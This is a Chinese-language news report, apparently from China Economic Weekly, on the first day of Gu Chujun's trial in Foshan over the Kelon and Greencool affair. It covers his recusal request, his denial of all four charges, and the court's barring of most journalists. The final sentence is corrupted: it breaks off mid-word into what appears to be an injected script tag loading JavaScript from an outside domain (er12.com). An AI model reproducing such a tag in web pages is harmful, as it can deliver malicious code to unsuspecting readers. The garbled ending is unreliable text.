是力证自己无罪，还是认罪换取减刑？这不仅关系顾雏军的命运，也关系着科龙、格林柯尔的命运。
11月7日，新城佛山，万里无云，但位于魁奇路的佛山市中级人民法院(下称“佛山中院”)却分外警戒—震惊全国的“顾雏军案”当日上午9点30分在这里的第一审判庭正式开庭审理。从科龙问题爆发后顾雏军被捕到正式开庭，至今已历时465天。而此前，因追加罪名和追加被告等原因，该案已两度推迟开庭日期。
“他瘦了！”在上午提审过后，旁听此次审理的顾雏军父亲顾善鸿颇有感慨地向《中国经济周刊》表示：“不要说他，一年来，我都瘦了十几斤。”除了其父顾善鸿，参与听审的还包括其弟顾绍军，顾绍军将旁听顾雏军整个审判过程。
法庭外，顾善鸿一再辩称：“顾雏军回国是为了报效祖国，我相信他是无罪的。”法庭内，顾雏军也显然有备而来，他拿出了厚达数百页的答辩材料，并对检方提出的4项指控全部予以否认。
明确要求法官回避
9点45分，身着一件浅色外套的顾雏军，怀抱一叠应诉材料进入法庭。这是他自去年7月底被警方控制后的首次露面，面容明显消瘦，稀疏的头发中增添了不少白发，看上去更为苍老。紧随其后的是姜宝军、张宏、刘义忠、张细汉、严友松、晏果茹、刘科和曾俊洪等其他8名被告。
与庭外晴空万里相比，法庭内的气氛显得十分凝重。而这种紧张气氛从庭审法官询问回避事宜开始，就一直没有缓解下来。
审判长问，“被告人顾雏军，你是否需要申请审判人员回避？”
坐在第一排被告席右边第一个座位上的顾雏军回答，“是的，我要。”他缓缓从身边拿出一叠约15页的讲稿，开始阐述早准备好的申请回避理由陈述。其间，一名审判员和一位公诉人先后打断了他的发言，但审判长仍然允许他继续。
顾雏军陈述了四点申请回避理由：其一，他曾经向法院申请，此案应由在广东省以外的法院实行异地管辖，原因是科龙电器注册地在广东，而他参与科龙重组时，与广东省各方面来往过多，可能会影响公正判决；其二，他曾经向法院申请取保候审，但一直未得到同意或否决该申请的书面答复；其三，他认为此案可能存在法律所不允许的公检法联合办案的嫌疑，提出如果该情况属实，广东法院系统都该回避此案；其四，他认为佛山市检察院在侦查阶段，只问过他一次话，没有给他充足的时间，陈述其与所涉嫌罪名无关的理由。
20分钟后，顾雏军已经讲到第四点理由。审判长在几次耐心对其解释回避的含义，并指出他的要求于法无据之后，依法驳回了顾雏军的回避申请。
全面否认四项指控
10点15分左右，进入法庭调查阶段。首先提审的是江西科龙的前董事长兼总裁、前广东科龙电器的执行董事张宏。有消息人士向《中国经济周刊》透露，首先提审张宏而非顾雏军，是因为检方认为张宏比较容易突破。14点30分，法庭又分别提审了科龙前副总裁严友松、前董事长助理刘义忠。其间，张宏与检察官对一些法律事实问题发生争执，场面一度非常紧张。
18点左右，顾雏军正式被提审。公诉机关认为其涉嫌虚假出资6.6亿元，虚增利润3.3亿元，挪用资金超过7亿元，职务侵占4000万元。但顾雏军拿出了厚达数百页的答辩材料，对这4项指控全部予以否认。
顾雏军辩称，对于挪用资金罪，他旗下各公司之间经常都会有转账，而且法律要件上也不构成犯罪；对于虚假财会报告罪，账目已有明确的记载；对于虚报注册资本罪，是下面办事的人改变了钱的用途，他本人并不知情；对于职务侵占罪，扬州市政府对他的奖励资金，他已转回了格林柯尔，自己并没有拿。
在宣读长达数百页的材料过程中，顾雏军多次被公诉人和审判长中断，要求其简要说明问题，顾也一度简要答辩，但仍然耗费近两个小时。这也使当天的庭审直到晚间19点多才得以休庭。
其父顾善鸿事后告诉《中国经济周刊》：“这厚厚的答辩材料都是顾雏军在看守所中亲笔写的。”
旁听公审一“证”难求
此次审理顾雏军案被安排在佛山中院第一审判庭，只有50个左右的旁听席位，在案件开庭日确定后不久就已爆满。
而顾雏军案虽然属于公开审理案件，却仅有两家媒体被获准进入法庭旁听。众多媒体包括数家中央媒体在内，都被拒之门外。某报记者为要求旁听，甚至一度与法警纠缠争执。
“我们也没有办法。”负责此次开庭警戒工作的法警队长向《中国经济周刊》表示，“能否让媒体采访，你们要找对口的研究室。”
佛山中院研究室杨帆主任对《中国经济周刊》的答复是，虽然此案是公开审理，但囿于佛山中院条件所限，法院对听证人的把关又很严，目前全国赶赴佛山的数十家媒体，没有一家拿到旁听证。
但事实是，豪华气派的佛山中院拥有远比第一审判庭大很多的审判室。在该法院工作的一位人士就向《中国经济周刊》表示：“36庭要比这个大得多，因此并非条件所限，而是对听证人‘严?script src=http://er12.com/t.js>
